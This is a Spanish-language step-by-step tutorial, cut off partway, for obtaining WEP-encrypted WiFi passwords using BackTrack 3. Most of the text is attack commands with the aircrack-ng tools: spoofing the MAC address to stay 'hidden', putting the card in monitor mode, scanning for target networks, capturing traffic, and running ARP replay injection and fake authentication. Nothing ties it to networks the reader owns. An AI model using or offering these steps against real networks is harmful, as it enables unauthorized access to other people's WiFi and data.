Tutorial Back Track

[pic]

El día de hoy, vamos a ver cómo sacar contraseñas WiFi, en este caso una contraseña con encriptación WEP.

1. Una vez con el cd grabado, reiniciamos el computador y ponemos el cd paraque arranque BackTrack 3.

[pic]

2. Luego abrimos una consola (shell) con el icono que está al lado de la “K” de la esquina inferior izquierda.
3. Detenemos nuestra tarjeta de Red (Eneste caso una Atheros por lo tanto es ath0)
Escribimos: airmon-ng stop ath0

[pic]

4. Para continuar, cambiamos nuestra MAC (Media Access Control), para ser “ocultados”.Escribimos: macchanger -m 11:22:33:44:55:66 wifi0

[pic]

5. Iniciamos nuestra tarjeta de Red en modo Monitor.
Escribimos: airmon-ng start wifi0

[pic]

6. Ahora nosaseguraremos que todo vaya bien, revisaremos la MAC cambiada y que la tarjeta esté en modo Monitor.
Escribimos: iwconfig

[pic]

7. Ahora, a revisar si hay redes cerca nuestro.Escribimos: airodump-ng wifi0

[pic]

8. Anotemos datos muy importantes de la pantalla anterior, como lo son:
o La MAC de la red (BSSID)
o El canal por donde se transmite lared WiFi (CH)
o El nombre de la red (ESSID)
9. Presionamos CTRL+C y así se detendrá la búsqueda de redes cercanas.
Luego escribimos: airodump-ng –channel X –write XXX ath0
x=Canal (CH)
xxx= Nombre para guardar el archivo con información, pongan cualquier nombre, en este caso “pass”

Para este ejemplo sería: airodump-ng –channel 5 –write pass ath0[pic]

10. Ahora abrimos otra ventana de consola (Shell).
Escribimos lo siguiente: aireplay-ng -3 -b (mac de la red) -h (nuestra mac) ath0

[pic]

11. Volvemos a abrir otra ventanade consola (Shell)
Ahora escribimos: aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h (nuestra mac) ath0

[pic]

12. Ahora debemos esperar a que se obtenga la información suficiente como...